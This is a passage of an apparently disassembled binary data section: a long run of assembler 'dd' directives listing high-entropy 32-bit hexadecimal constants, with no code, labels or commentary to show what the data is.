		dd 0F430778h, 0FF86B692h, 19934A45h, 765CCF49h,	7E685054h
		dd 0FEF00B97h, 0CCDF7298h, 5FFA0886h, 0C6C1487h, 12AF2F68h
		dd 31249C4Dh, 1053668Ch, 2C4E0B35h, 0CB81CA9Eh,	0FF895158h
		dd 6359CF91h, 0D1FB8BA1h, 0FA926F93h, 0B529B138h, 0EAD1B480h
		dd 0F0BC23Bh, 0C6FA1784h, 0D7FA9D1Ch, 11C90225h, 828F2183h
		dd 27A55557h, 662990F5h, 630A1224h, 72DE801h, 83A85423h
		dd 5D0A9F0Bh, 96487D18h, 0B76A14Fh, 26012D04h, 84BA3E71h
		dd 82071338h, 5F0BFCA2h, 0CC85DC82h, 762F515Ch,	3C05D934h
		dd 7D88CB7Dh, 0BEC71124h, 0FF4EF29Ah, 0E83FCEC9h, 0CEFD4ECBh
		dd 0BB49F2C4h, 0DCF41532h, 0E75090Fh, 0FC503476h, 0F1ABC09Fh
		dd 84C05824h, 5A375C9Dh, 2A62EA42h, 0F5973270h,	4BDB4C82h
		dd 9E53C341h, 9A0D051h,	1C74685Ch, 9C2DF046h, 0C014D107h
		dd 536C8AB8h, 19317A2Ch, 3FADE941h, 0EAEB3196h,	0FD0CA75Ah
		dd 6CA0A878h, 8E137CB4h, 7B194776h, 0C16A4F04h,	32FDBA0Ch
		dd 550AB246h, 5167F3F6h, 97FE22ACh, 6816E096h, 0FD607062h
		dd 9DFFB949h, 3128B69Ch, 6995BCC8h, 0ECDCD357h,	8FD1B738h
		dd 247C6B47h, 1CF602B9h, 0CF313FEAh, 2DC2C41h, 5B21C02Ch
		dd 0C3883953h, 0D650DD3Bh, 0FC065BEDh, 9803B00h, 0F3E82834h
		dd 0E0C816F9h, 0DCED315Bh, 50C0F9ABh, 0C18063B1h, 5EE1E670h
		dd 0E414E136h, 0F1EBAAF1h, 0CF524024h, 3D7B0E7Bh, 8D8B0332h
		dd 0B2C41BBh, 984E5B03h, 0FA97B4B8h, 5187FB91h,	8E48AF66h
		dd 54F6098Bh, 0D4C95A9Dh, 0F7D0A0C6h, 1F6CEF80h, 494AB450h
		dd 6CD64268h, 540C296Fh, 79588B60h, 0D195FCC6h,	0C870997h
		dd 2474657Fh, 5A37A419h, 0A28BB456h, 0C543AB14h, 0F7660A79h
		dd 0B013099Fh, 166AFBDEh, 40522916h, 7058BBA0h,	994D2635h
		dd 30420987h, 61472851h, 59B8AFE2h, 865214CDh, 10FA8712h
		dd 275CC060h, 0BF8BAA4Ah, 7831FB5Ah, 2CB1E3BFh,	30C90B11h
		dd 4897DD97h, 803A5037h, 0A74872E9h, 0E20781A7h, 0C42ACDDDh
		dd 47C8416h, 0C443ABA6h, 0BAC8FBF2h, 73570014h,	7AF28117h
		dd 3776E66Dh, 6E71E27Eh, 3A8370EDh, 0BD2098B5h,	88B280CCh
		dd 78CBD0E0h, 49F4D42Ch, 0C6FFCC09h, 7B9B0F97h,	7AA46820h
		dd 91AB123Eh, 2EF29D28h, 55D548D8h, 0A3E01F7Eh,	0EC7FE17Ah
		dd 4CE9E0BAh, 5290A2FFh, 627498C1h, 2B3B1D60h, 0CBEA5175h
		dd 6C10938Bh, 0FB9D3ECAh, 41C4A413h, 504DF668h,	1677E91Bh
		dd 946A9B97h, 1432E704h, 5AB100ABh, 15F0D46h, 0E7949DF1h
		dd 0FFE1D124h, 3540A130h, 891909DAh, 0D9D4294Eh, 1ECB6A9Eh
		dd 0EADDC2Bh, 0FF4E93E9h, 7D98AB37h, 5F46B24Bh,	0FC992947h
		dd 93BDDE1Bh, 0C837B221h, 9759C825h, 195B51DCh,	6D421728h
		dd 3BB8E0C3h, 2CC1BB5Fh, 812D525Dh, 91AB5C89h, 5EF05B8Ch
		dd 0AF990374h, 302BD0C7h, 0B7E25019h, 0D732D09h, 0EB85040h
		dd 4DC90054h, 8D59C335h, 0EA4DE97Dh, 538826BCh,	5813FD2Eh
		dd 0BE0734BEh, 14E42660h, 0E93A0CD8h, 0C7DF6886h, 45D5413h
		dd 5301BBB8h, 0CB4264BBh, 5D32809h, 1EB8343h, 6BE8C800h
		dd 681788Ah, 0D37AF3F5h, 6C000C0Fh, 0F76EAE4Ch,	0A1EDC1D5h
		dd 1B3498D6h, 0B3044ABAh, 58E5C9B3h, 1BB73864h,	65FBB5Fh
		dd 0AC40EE56h, 0D15EF721h, 0C3CB95E7h, 0F34FA298h, 7BE9E417h
		dd 0A2BD27B0h, 0B538F06Dh, 87261EFAh, 575A752Ch, 9217C1E4h
		dd 0CCBDFEE1h, 119A483Ch, 7BF5529Ah, 85CB1278h,	0C4078481h
		dd 2791AB9Fh, 8C266FE7h, 55C4AF4Fh, 0C7F2F2EFh,	0B6080A14h
		dd 0D6315227h, 0EE871083h, 9008A146h, 0C57F094Dh, 827F25D1h
		dd 75372E98h, 0DA85C0B8h, 880000B9h, 0F243828h,	97C22D8Eh
		dd 8A703EDEh, 29545AECh, 0E9911154h, 35127A8Ah,	4AE782EAh
		dd 4A8CC6F7h, 6EEBF127h, 4848979Bh, 5A2F0349h, 0D8BF3066h
		dd 42D9C74Dh, 0EA81606Bh, 142653AFh, 0FE01B930h, 0E957F540h
		dd 0F22E28D5h, 907B8E2Ch, 117583Bh, 60E4F545h, 0DE402E2Fh
		dd 5C8D331h, 0FA8B6CBBh, 0AE4A45F7h, 519CA798h,	887F35DFh
		dd 4FB2024Ch, 0BE275976h, 0F515BA4Ah, 1BFCE307h, 56EBDA7Ch
		dd 2C6C229h, 0C1C851FFh, 22793FE9h, 5AD18291h, 80161351h
		dd 90ACBE48h, 2FF389F1h, 41D4FFB8h, 387D4C2Dh, 675087h
		dd 8105012Bh, 0E95DE369h, 9018165Fh, 9F1408CCh,	7B2FF766h
		dd 0E9215CE6h, 0EDA6CD5h, 2926534Dh, 228C72Dh, 16D75808h
		dd 4B1EBh, 0E7369BBAh, 0CA0F811Dh, 9D591426h, 12E6F281h
		dd 0F4300A20h, 52AA8378h, 0E42FB954h, 27DBE48h,	1135164h
		dd 8205E5Eh, 3C385B76h,	0CEBA4A15h, 0E3A84A17h,	0E1C0EC4Eh
		dd 3F720345h, 68BE898Ch, 64051E09h, 149D8549h, 9294CFE4h
		dd 7268121Ah, 0C9C5AC0Bh, 0D28E7DF8h, 24800249h, 518E963h
		dd 85745B97h, 0EE261968h, 0B1E9A060h, 626BBC6Bh, 18D76A58h
		dd 82EC9E9Ah, 0FAE2647Dh, 54ACF8FAh, 4BB19CBAh,	642DFE9Bh
		dd 8961FB2Bh, 0E740CF29h, 9954F79h, 0B56FE977h,	7DCA62B3h
		dd 0B02073DCh, 27ECE14Dh, 5E5A409h, 3C99321Ah, 3CFBC1E9h
		dd 2DEA943Fh, 0B9D5247Ah, 0F07BEACh, 0EFEAA180h, 5FA7BEB2h
		dd 50FB8801h, 89DDF759h, 18ED8104h, 0B919EAD2h,	22C7A0BAh
		dd 0A44228E4h, 0F34CC26Bh, 0B481875Fh, 7DC24AAEh, 0E56FA0D9h
		dd 34B371ECh, 25987E1Eh, 380BD55Bh, 32305C1h, 45825695h
		dd 0FC2CDAF7h, 0EB0400BDh, 59CE31F1h, 4162A768h, 72B0825Fh
		dd 1D3F2721h, 61098D66h, 5C285319h, 0D8D973A6h,	5112402Dh
		dd 7A5099B9h, 0F1068182h, 5630494Ch, 0B88C587Eh, 47415C1Fh
		dd 0FF477BC9h, 939BA8B3h, 2610141Fh, 69C42D7Bh,	5303E46Eh
		dd 0FE7CB050h, 9C2E17C8h, 8964E9C6h, 27805C14h,	0E9F085DCh
		dd 0EBFF4B88h, 0E85B41CFh, 5804B714h, 0D9893991h, 0E1CAE82Ah
		dd 133E53E9h, 9A1B04DCh, 0C120EA6Dh, 3E233768h,	0BDAF255Bh
		dd 58BD0AF8h, 0E6D1B75Dh, 6FC05564h, 5E1FB1h, 3EE1055Ah
		dd 850F5493h, 794624Dh,	0A9378E35h, 0B3100F29h,	4D9334Bh
		dd 0B507113Fh, 59EF0362h, 3B20B28Fh, 96AEBBF1h,	15D70C2h
		dd 97CEC380h, 5CB05A06h, 8F584513h, 0E778B42Ah,	0E3F722F4h
		dd 0AF6866D0h, 0B97CE97Dh, 0E2B20280h, 5909CA30h, 0B2EF280h
		dd 0BC097570h, 93171A47h, 5D5F1881h, 0AC014B2Eh, 1EBAA6C0h
		dd 4E48641Eh, 10EFD689h, 9D1BBCFDh, 4D5F0BC6h, 0CEAA4A16h
		dd 78E91262h, 1CBA8C84h, 279003h, 901B1EBEh, 703C6819h
		dd 39D79D2Ah, 9A20296Fh, 8BE60581h, 0E022F620h,	843B0F2Ch
		dd 0D124E71Bh, 4367E991h, 0C6FA0EB3h, 0FDE64E3Ah, 0FE5058EAh
		dd 292DF6ADh, 1232D628h, 2B29F14Bh, 0F1C30BAh, 2C5B1F8Ah
		dd 8BE128BEh, 0D001F572h, 3D09CF05h, 0B02B0143h, 4B0FBE9Bh
		dd 0D6E920C1h, 0A1BA0984h, 0ED4AC9A2h, 0F1C24F5h, 0D0218116h
		dd 0FA17CEE9h, 59292897h, 0E610DD97h, 6591EE88h, 0FE4F77BCh
		dd 16FBD725h, 0FE31EEB7h, 22367D06h, 0EB3CAD00h, 7701C767h
		dd 4CF0444Fh, 37455BA4h, 60A10B75h, 3B10C068h, 0BAD3E4F3h
		dd 6C18DBA6h, 3BC1BF7Dh, 0B206917h, 0A55AB3BCh,	0CAFEC27h
		dd 50ACE5Ch, 333F5064h,	1F7B1EEh, 2A585B08h, 0D731079Fh
		dd 205BB4F7h, 0CCF01E81h
		dd 284E0AC2h, 4A8648E5h, 0BA01830Ch, 0C50806B0h, 56C28E9h
		dd 0A5F4274Fh, 3A59E1A0h, 0CFCB91FCh, 5A4C7870h, 5E5B17AEh
		dd 41B191B8h, 890F002Eh, 3DC8B606h, 0E590E794h,	0C88853A0h
		dd 0C708A4B9h, 6ED0259Ah, 0B5627CF0h, 0E05EF011h, 24114987h
		dd 2711758Eh, 0A50DEB5Ch, 8331251Ch, 0BBE8F8F1h, 57519FF0h
		dd 0B9205624h, 2D15FB16h, 6040BD22h, 5BAFA5h, 0BB5322F5h
		dd 7A6C7B45h, 0D6EE8127h, 0B81AC46h, 0B278ADE9h, 0A1AD6AEFh
		dd 478F5382h, 9F676B40h, 0F218DD97h, 0D35E3015h, 827D34EAh
		dd 0B07F48AFh, 27685BA6h, 0C31B7350h, 0BD0F12BAh, 37BF1D92h
		dd 9CD9078h, 5D9F0528h,	8385C421h, 3A493B64h, 8209F950h
		dd 41C5C657h, 5E946E5Dh, 0E13ABC2Ch, 0F5C20BFEh, 826925D1h
		dd 75B28C6Ch, 0A4437445h, 0BF275F0Ah, 0D58A5C47h, 36F3E925h
		dd 0F04F291Bh, 0B8000C9Ah, 21A0B56h, 40E0D169h,	1E1D0F7h
		dd 880401DBh, 38129972h, 80C8BE43h, 0F02B566h, 624AEC08h
		dd 56195E57h, 0C0608598h, 0FC96F2ADh, 89842FF9h, 5DEE0D52h
		dd 5606625h, 802EFDCh, 41DFF758h, 9D522DBCh, 4FA258D6h
		dd 0C863DC5Ah, 95052640h, 36BC50FAh, 0A5D5051h,	18FD8B7Ah
		dd 564C1E3Eh, 5BDFEE54h, 3ED0D92Ch, 191EE7C1h, 0BD3BE30h
		dd 77856852h, 2860A774h, 0BF2CBD71h, 7D08B9E0h,	0D4D95081h
		dd 0BA7E127Fh, 0E5850EF6h, 0C58BAA32h, 0F5C2257Dh, 14C167Ah
		dd 7F54E08Dh, 0C1300BCDh, 500207E2h, 42042343h,	55F317C1h
		dd 0CB0DEC3Bh, 88F7FE5Ch, 0FC271023h, 4684755h,	0A89AAA6Bh
		dd 248C522Bh, 581B040Ch, 73F1EE14h, 9BD50807h, 0CB886B0h
		dd 675CFE90h, 790E2E20h, 0DA012627h, 0A5080E40h, 0D7F8FBB4h
		dd 42399702h, 0A6820959h, 29029251h, 6B2DFF2h, 896BC555h
		dd 98758C21h, 0B688F935h, 0A4F76F9Eh, 340ECF39h, 0C0687939h
		dd 5A086AE7h, 8ECDA02Ch, 78481870h, 71A1264Fh, 0E07C4528h
		dd 7D33E505h, 9DB829C4h, 0D000384Dh, 0E9386845h, 0D6BF7B15h
		dd 0EF25BF9h, 0EF94EBF8h, 0BBF86665h, 0BDA8284h, 0DF16A95Bh
		dd 0E9768994h, 5C13C29Eh, 9241E2BAh, 0C0C3F2FAh, 1B5FC2BBh
		dd 9BD89F3Eh, 6C685009h, 625FF615h, 3103796Ah, 4AC593E8h
		dd 1783EF08h, 995DEDD8h, 0E5526B83h, 15F1B044h,	2B3F3DFAh
		dd 0C55706E9h, 0D0963E4Ch, 597DA419h, 51A46801h, 8108E5C1h
		dd 2D01D1CCh, 86C0401Fh, 1C28CD72h, 42BFA34Dh, 5351F79Eh
		dd 5A68F4C9h, 719A668h,	26D2DBBDh, 5552E32Eh, 941D01F0h
		dd 8FFB2A4Bh, 47E9165Bh, 806120EAh, 0E2EF5A29h,	4CD75177h
		dd 24BE295Bh, 7A7F6885h, 8EA4CDA9h, 0E9563D99h,	5C40D78Ch
		dd 984AE95Ah, 0B2BBD012h, 0D65A89BEh, 9B635219h, 0D3D17E3Fh
		dd 4C34CFFh, 78EA73CDh,	5E96B9EBh, 0FF493FE6h, 454E323Fh
		dd 0B3E11E23h, 0D828C623h, 66184022h, 0E795B7Dh, 19C2905Eh
		dd 1D77DB5Dh, 0BC5BE209h, 0B2EE4E12h, 75CA133Bh, 392E16F4h
		dd 0D616DEF6h, 0C77C1CC0h, 608002E6h, 5AF32813h, 0DD09C3ECh
		dd 904AF4E9h, 4BD998B0h, 8375D0FEh, 0E59DD7B0h,	0A29E8850h
		dd 4EDA4243h, 0E439B834h, 4E2BCBFBh, 0AC40EBA7h, 0E66600A6h
		dd 0E3814313h, 0A72C6F71h, 0CE011716h, 29DC5933h, 0CFD1F23Fh
		dd 94017201h, 364D3253h, 58488B2Bh, 5FEA0CB1h, 0BDC0D425h
		dd 0CDED61F2h, 50BA7301h, 0D53C030Dh, 0A02FC586h, 34965B97h
		dd 0E6E95F27h, 3258D387h, 1A323C6Bh, 0F522D654h, 0B8EC3F9h
		dd 9CEB1233h, 0D7975B6Bh, 0EEE9DB81h, 0B3248011h, 28C5B6C4h
		dd 0F95B98DEh, 9EFDD4FBh, 7F5ACF01h, 794F5C60h,	7CF70704h
		dd 93EAF1C5h, 0BA1B2902h, 31F4C17Dh, 0CDF27781h, 0BD27CF05h
		dd 206ABD0Ch, 6BA40F24h, 0AB522906h, 19C7EC2h, 2E445768h
		dd 0FAADF8Ch, 555EC06Fh, 0CE9FD22h, 6BB58250h, 9872E8CDh
		dd 0EB22D205h, 7582CB6h, 82D35627h, 552D4B8Bh, 706880B8h
		dd 25217963h, 8341361h,	0F60B61C5h, 7564FDD5h, 7BDED587h
		dd 9594309h, 3AED5633h,	948E1158h, 70CEA959h, 3512A0F3h
		dd 25FE4873h, 8A3C8608h, 5ADA549Fh, 5162F455h, 610AE4B9h
		dd 0C4EE1E50h, 25EAE695h, 546165Dh, 1241552Fh, 0BDA24659h
		dd 0A79E80F0h, 0D6BB5E00h, 0A00EC39Bh, 2F3011A6h, 0CB746282h
		dd 0E908D03Dh, 0F538A12Dh, 2AB3C422h, 3FA2186Ah, 0F209D515h
		dd 0C5C70FF1h, 46F88022h, 302768ADh, 0A0A27401h, 0E95F0908h
		dd 3E611EFh, 0D40A6D25h, 0E609C31Ch, 57A85C4Ah,	3BD3E9E1h
		dd 8AD4116h, 4CDDCB97h,	0D34B6277h, 0DA96B165h,	0AA3E6D65h
		dd 18822839h, 4BA40C0Fh, 8290F8D7h, 1C5F8208h, 25605DCh
		dd 6E4923C4h, 0B473C858h, 0C8548B32h, 0A03A7F27h, 734709DDh
		dd 10732C82h, 0E6B150ADh, 4389CA12h, 91270ECh, 8598AEC6h
		dd 70475E15h, 0DF468D1h, 0F33E69Fh, 453E06B8h, 0C1FBBAE3h
		dd 7AE90617h, 91FB58C4h, 0E22976Fh, 1A2DF748h, 93B7ABC4h
		dd 0E2C9B030h, 40A1A253h, 3756F53Eh, 80296A0Dh,	22FBB7CDh
		dd 14D6D0B7h, 8C5DEE87h, 0B22DD303h, 385E970h, 41A0C225h
		dd 687D2BD2h, 231EAAEh,	0E93EFD5Bh, 0F012F8Dh, 0F6FFA8Fh
		dd 73824FFEh, 6FEFEDBh,	5E70B1C1h, 0B22DBF3Ah, 0DBE7B03Ah
		dd 6734100Bh, 0D62E50h,	5A5E9208h, 38BE0356h, 4E3C4804h
		dd 445CCEF8h, 0FDE9F1FBh, 16A563DFh, 9E125758h,	0DF5237A8h
		dd 23CFB79h, 6602BB0Eh,	0BDF10B2Bh, 6A7D026Eh, 2873763Eh
		dd 0CC6A9D5Eh, 22DD8509h, 4AEDE906h, 97D6D007h,	5B51B15Ah
		dd 8CE87FA3h, 42C0E912h, 403568FFh, 0D0B2FD98h,	0E9CAFE05h
		dd 0ECC8D875h, 23C6BD51h, 0B5B0AFCh, 0B5E467EFh, 5F7BAC23h
		dd 85A43EBCh, 585CE083h, 72137E9Fh, 810344D5h, 0FC2BE69Ch
		dd 0B73EB6FBh, 0C01716Bh, 48333917h, 7830FB01h,	145E2C78h
		dd 6FF10137h, 304A2767h, 5E95CC13h, 0D821C1D9h,	0E991605Bh
		dd 6E026FF9h, 5020810Fh, 544FB068h, 90D68D2Eh, 0C5DD5EFAh
		dd 0BF3C8270h, 7D2DFDFCh, 1D593707h, 7DFC7B74h,	93E8C4Ah
		dd 0B8E9CE09h, 0BF55A1B7h, 5FD23FD3h, 0F8F7D481h, 0C077EE40h
		dd 831E0755h, 693FE6E0h, 615FA324h, 978BEE0Ch, 0FC5E5E62h
		dd 854A112h, 6478B572h,	0D85CAAD2h, 84FA5150h, 6FD82B5Fh
		dd 6D03868h, 28CAAF4Ah,	0E599EF92h, 27B1B86Ah, 0DE2BE93Dh
		dd 0F3D34B6Fh, 8F5751C2h, 80EAB283h, 9956C488h,	1FFA484Ch
		dd 0DA92DB68h, 695090BCh, 0DC3112BAh, 0FB84EE1Ch, 2777F8EBh
		dd 0B4E75559h, 4F102E26h, 6F2CBA02h, 56770B45h,	0FC0834C4h
		dd 0D49778D5h, 1D212DFh, 3B2C2713h, 51F12F02h, 412606BBh
		dd 32CF017Bh, 0FA09616Dh, 0E92DE6CCh, 5A885A7h,	6B8AA1EFh
		dd 166A9EC1h, 4FACAB14h, 0CFE41CC7h, 791AC4B1h,	0A4104EEEh
		dd 493BDB03h, 2A4C9CE1h, 52E62834h, 0BC45492Ch,	5B664F89h
		dd 0BD4A547Ah, 42AA6517h, 417868C0h, 0FD20C46Ch, 3F5390AAh
		dd 0AAD6245h, 974089DEh, 671C5742h, 82640E4Fh, 38FEC8C4h
		dd 92176812h, 1EC534F8h, 789EF207h, 0CF56B409h,	7A87FF6Ch
		dd 94FF831Ch, 42A3FFFDh, 4B0FF84Bh, 64E432BFh, 7D078975h
		dd 0C9C0DE3Ah, 48937ABEh, 0A7AA5D44h, 0C049C4DDh, 0E1247814h
		dd 0F2A4BFDAh, 35093D30h, 0A478239Eh, 2E960220h, 420F5457h
		dd 0C103D6E4h, 9BAA2FEDh, 0D95DC6C2h, 10DB48F3h, 0D4277515h
		dd 0A169445Ah, 0CFD86D60h, 0E53D1472h, 7C07B05Fh, 0F87BE2D8h
		dd 1FB82916h, 0A66FE07h
		dd 85006F64h, 0E931D114h, 18916CE5h, 0A2E8CD01h, 174D2421h
		dd 0B7F271Ch, 0BC2B0223h, 8C04233h, 59160814h, 472E71ABh
		dd 3B680171h, 0B8001226h, 16F65ECh, 0E39032Dh, 4BE913EBh
		dd 0D0F6F145h, 0C0E8A50Bh, 0B09E04D7h, 0EFD3600Eh, 1A2342C2h
		dd 7EF5F1B0h, 504469D9h, 0A74B63B1h, 67F1AB1Fh,	0D7A73D5Bh
		dd 0CC3C3267h, 42EC8B6Eh, 45E57F5Fh, 44F4353Fh,	9390F3BFh
		dd 32118000h, 4BE94E74h, 0BF39C41Bh, 5048F2B9h,	0B531BC4Bh
		dd 5F4F8509h, 3E4A86C6h, 4A5CFFC2h, 0E6D9DF69h,	0D9D549h
		dd 0FECF9D05h, 13F18BBEh, 2CEF0205h, 8C418E16h,	13FD9A20h
		dd 0BC224262h, 88BA4BD1h, 709C72Ah, 5531AA64h, 1D77AEE0h
		dd 0AEA27F82h, 514806ABh, 0BC43867h, 0B2AE656Fh, 0B2D1D3DBh
		dd 0FED5FBE9h, 444F32Eh, 146B66D2h, 0E9708CEFh,	0D439792Fh
		dd 0C34E54E4h, 5C29D0F4h, 414B15CBh, 3228C6D3h,	0DB322070h
		dd 0F30B219Fh, 986C6ABFh, 1C2EA94Eh, 0E7ECD106h, 0CBFEB23Bh
		dd 0F5ECEA22h, 0F7496D73h, 68C6EC09h, 9D0A6E9Fh, 0E931B8FFh
		dd 0D0F15B61h, 2A0E8099h, 75987E60h, 1734DE30h,	217C9AE9h
		dd 11C61F1Ah, 8A7EAEF4h, 0C5B74EE1h, 10D5CB5Eh,	0B9028A25h
		dd 4EDB3E60h, 0B2097FDEh, 6F7854AEh, 5C9FEA3Eh,	5D069758h
		dd 47315668h, 517CBE2Fh, 402E8504h, 0EF34C71Ch,	15ED48A2h
		dd 0ABA054E3h, 589F72BEh, 0B7A1313h, 4064F95Bh,	8726E908h
		dd 0F98C1A28h, 48A26367h, 0ABD41FD7h, 12077704h, 0D9E0BB19h
		dd 2B0181CAh, 9685B5B3h, 129653DDh, 0A3D9AB8Bh,	3C868083h
		dd 0F6B06280h, 710BB7EBh, 503BE9B8h, 245BBD9Bh,	0A02EE9E1h
		dd 0C992ED2Fh, 6CDC04D3h, 21312C12h, 8CAEC14Eh,	7B27E96Fh
		dd 277CFA52h, 6476A02Bh, 2F1E95Bh, 0E1B87992h, 0E1903FB9h
		dd 95708F0Eh, 9DC42077h, 0DD42C74Bh, 0D0A1050Ch, 0A748AEF9h
		dd 0A9308C6h, 88A84616h, 169C6A09h, 0D97FAE85h,	8EBC6BDCh
		dd 91A4FB9Fh, 0A1838445h, 0E24A0E01h, 0DD954980h, 2941C6F9h
		dd 6E2058C7h, 4F671489h, 4B4F6C3Fh, 8CDD872Dh, 0FB4308E0h
		dd 5A5095DCh, 4469F5A6h, 84B7EE61h, 6D62AED2h, 259CDE4Eh
		dd 846C7974h, 0BECF893h, 0EBC14B46h, 0AA5CBB04h, 0A2BEF801h
		dd 0BE20815Bh, 1A583CF6h, 0B55A0827h, 0DF846D4Bh, 0D3EE4277h
		dd 7B1A64E6h, 107F52F8h, 975456CEh, 7562FEF9h, 0BD030914h
		dd 40BAA885h, 40DD355h,	0D05A5E52h, 68D82916h, 8E2D5F2Eh
		dd 0E227D0C0h, 8D429D7Ah, 0F49FFED8h, 6B40D23Ch, 0D19DFECEh
		dd 0EFFB6312h, 4A691A4Ch, 0CDF5C461h, 0C8281A86h, 0C62DE866h
		dd 4DF0D423h, 0D60CECEDh, 57B0BDA6h, 955AE040h,	0C4C96FEh
		dd 9AB2010Fh, 8956533Ch, 991D7ED6h, 7FC2E8E7h, 0BB60D338h
		dd 0B30D9D44h, 17A99AFFh, 0DC5E32E8h, 0CC30F7A5h, 17B9D321h
		dd 9F13442Dh, 45C2AF6h,	850FDB0Bh, 3FD0FF9Bh, 28E86856h
		dd 0A0CFF05Fh, 7D764B18h, 5EFC90A0h, 7E97A245h,	0FEE7D011h
		dd 3097FB4Ah, 40081227h, 80E8B45Ah, 58B738ECh, 16F4ECFFh
		dd 5C45E9A6h, 0ACB4D354h, 10745BD4h, 0A9AB17BEh, 4712922Dh
		dd 295C81AFh, 0E9FD85D1h, 20FEEF59h, 0D5685546h, 41CD0444h
		dd 31AE2E1Fh, 802F385Eh, 0EE05D867h, 0D346977Ah, 0C9C4AB60h
		dd 8E10A0FCh, 3298771Ah, 5AFD57AAh, 4ADF1F54h, 0D023BED6h
		dd 5579681Fh, 0F240426Bh, 77F85D04h, 0D2938D84h, 0B184CAF3h
		dd 828095B7h, 0CA5302CBh, 0DA0F525h, 52533FBFh,	262E1C90h
		dd 3D7389FFh, 0BD4C4A4Eh, 0AF7F349Eh, 85D6294Bh, 0C6EB0EC7h
		dd 5F3B26EFh, 0C1E9850h, 0FECE210Fh, 19CAB28Fh,	4A57E289h
		dd 0D4843E73h, 369E61AAh, 99480D06h, 60BA412Eh,	365ECB06h
		dd 0B74042B7h, 0D5D89FB6h, 5AD73103h, 84631068h, 0C192FCAFh
		dd 1FD37CA2h, 5035A760h, 12F71E02h, 0B143926Eh,	0CA0A30DCh
		dd 7650320Eh, 0D4FBF201h, 0C0178204h, 0C54B81AEh, 0BF2C4505h
		dd 54ACDE28h, 0FBF9F613h, 0AC58D4E2h, 461D0880h, 0C540778Fh
		dd 0BFB5CA56h, 5265B720h, 0D704DE2Ah, 0FF55B869h, 85BE8717h
		dd 62BB88h, 1131D7E8h, 327429D3h, 5FBB5B29h, 0B0F43570h
		dd 0C00D42B2h, 588004E7h, 41705E0Ch, 7EC200Dh, 75558FA0h
		dd 88BC9A62h, 7BE309A5h, 907DA04h, 0ACFB537Dh, 0F4084172h
		dd 2DD45FA0h, 8E666E72h, 40628561h, 5ABEFA01h, 94607006h
		dd 60AC4144h, 0F39D772Ch, 8FB001BCh, 6EEF3158h,	0F989EFB9h
		dd 70347D44h, 0F2BFECDCh, 19784A4h, 23538DEFh, 1F277E70h
		dd 0E601A046h, 2F70EB35h, 2BCCCE29h, 0C65FBB25h, 7FB92065h
		dd 0B4207A90h, 2D967C54h, 0A47E5730h, 2DFEC5EEh, 0E98DE0AEh
		dd 1FAED72Eh, 2C0CD049h, 6B080478h, 44688883h, 3CA0B28Ch
		dd 337B8053h, 0BE92BF4h, 0B7169F20h, 3A4F2FFAh,	0C5A14FBCh
		dd 89897958h, 0DAA1DDEDh, 6AAD19E9h, 20CF4144h,	0FB9637EEh
		dd 3E1E928Dh, 499F0CE9h, 0ED5457E7h, 0A0534564h, 0E85A839Eh
		dd 58CA2CEBh, 0C2817E97h, 0E8E4DCBBh, 0AA262C99h, 40EB339Ah
		dd 3D2D0392h, 0B6956A93h, 9C9F735Dh, 60613FCh, 8B33633Fh
		dd 8765B690h, 0DD955667h, 1A1956EFh, 1177F9FBh,	51355295h
		dd 0FFC30161h, 0A0FB55F9h, 0E49A9A3Eh, 0B9C9C348h, 92C5110h
		dd 0C341B9D3h, 26A46AE9h, 4941EBAFh, 0E2D88C07h, 0DB7FCD76h
		dd 890549B0h, 97F5F80Fh, 0E28689ABh, 0B35BC95Ch, 3B30E8C9h
		dd 60159013h, 0FDBAACD8h, 3317625Eh, 0EA0CD101h, 0B8056CEh
		dd 0F530C4EEh, 6C58110h, 0B362AF9Ch, 6B4F46E7h,	0A9D55451h
		dd 0A7037BEDh, 1D71A76Ch, 6861B8BCh, 0D82B6649h, 4C905741h
		dd 0EF23610Ah, 0ED0BDE71h, 0B9F5CB1Ah, 8C3AB708h, 5824684Eh
		dd 26B5136h, 9015B86Ch,	261B8BD5h, 17A4765Ch, 0B4862078h
		dd 0B60DF38h, 3A416B0Ch, 0C6E8B77Ch, 973046ADh,	63E20C0Ah
		dd 45385C49h, 0B5B39301h, 60FA31C3h, 0FAA9DFDFh, 34A02BD1h
		dd 19F10181h, 127D543h,	0EECF30CEh, 67D9C8F7h, 0D823CA27h
		dd 55071287h, 5C432257h, 20BE4475h, 3E907A85h, 78641A0Ch
		dd 76EB561Fh, 8D29500Ch, 0D95C133Eh, 34B6010Dh,	95A6866h
		dd 0F33211A7h, 0CADBB768h, 3BB6FF4Fh, 5B3DBA02h, 80DD2EAEh
		dd 47B749E9h, 0E641BA31h, 0F09D1337h, 2744EE10h, 0F4840Ah
		dd 0A6452E35h, 0AB6C1515h, 4CA70F3Fh, 0F177A762h, 1268C1B4h
		dd 408C3A3Ch, 0AF6B04FEh, 82DDF723h, 496AA025h,	50824779h
		dd 0D90FB068h, 0E958E03Bh, 9DC01751h, 0F16C5AEFh, 18D6BD63h
		dd 0D4BBB209h, 706262FDh, 2DE8257Fh, 66EA1FAh, 0E927FAA3h
		dd 0F64305CAh, 8D13B9A9h, 0A11452C6h, 6BAD7A16h, 0B4216B12h
		dd 0DD98309Dh, 8BFF2BD3h, 7BCB56ECh, 8384C648h,	1ED11BE9h
		dd 8FFABE38h, 20491F2Eh, 0D682BA2h, 394D6272h, 71E84B64h
		dd 10D5A9B5h, 85508048h, 6B2D414Dh, 0C80791ACh,	65362577h
		dd 0FF881E2h, 0A96E700Eh, 7A5E1014h, 0EB190FFCh, 0C9E477A1h
		dd 0ABF727E9h, 0F305B17Ah, 0B6E43D60h, 43EEB612h, 0B7E2E911h
		dd 12589B01h, 10895D6Fh, 3A84722Ch, 0E7B900B4h,	942B5E0Ah
		dd 0A1FB1A4Ch, 672405Fh, 59FC35E6h, 97F4BF88h, 7225D5Ch
		dd 0FEFD1809h, 0C1CDBAF5h, 76F2F43Bh, 568D04Bh,	0BD313A5Eh
		dd 373B1D38h, 292D9058h, 0F2B516AAh, 0EA08830Ch, 0E950CEh
		dd 254BD9BDh, 0A4F5812Ch, 39661202h, 0DF6223E9h, 419589E6h
		dd 5B02558Ch, 1419CC8Fh, 0DFB91080h, 94F22F3Ch,	21169D5Eh
		dd 0B142CEEh, 13ABC048h
		dd 83B86839h, 6A74899Dh, 0C4C0A5FCh, 0F35A4157h, 9D316460h
		dd 6C97D5D0h, 43E91615h, 44C52D1h, 0AAB2DEABh, 0F87A91B3h
		dd 80D8B18Bh, 0A624C22Dh, 0C8282936h, 6FF90705h, 885EEFFCh
		dd 0EB278202h, 718174FEh, 0BB57C39h, 7E5EF701h,	96E9F00Fh
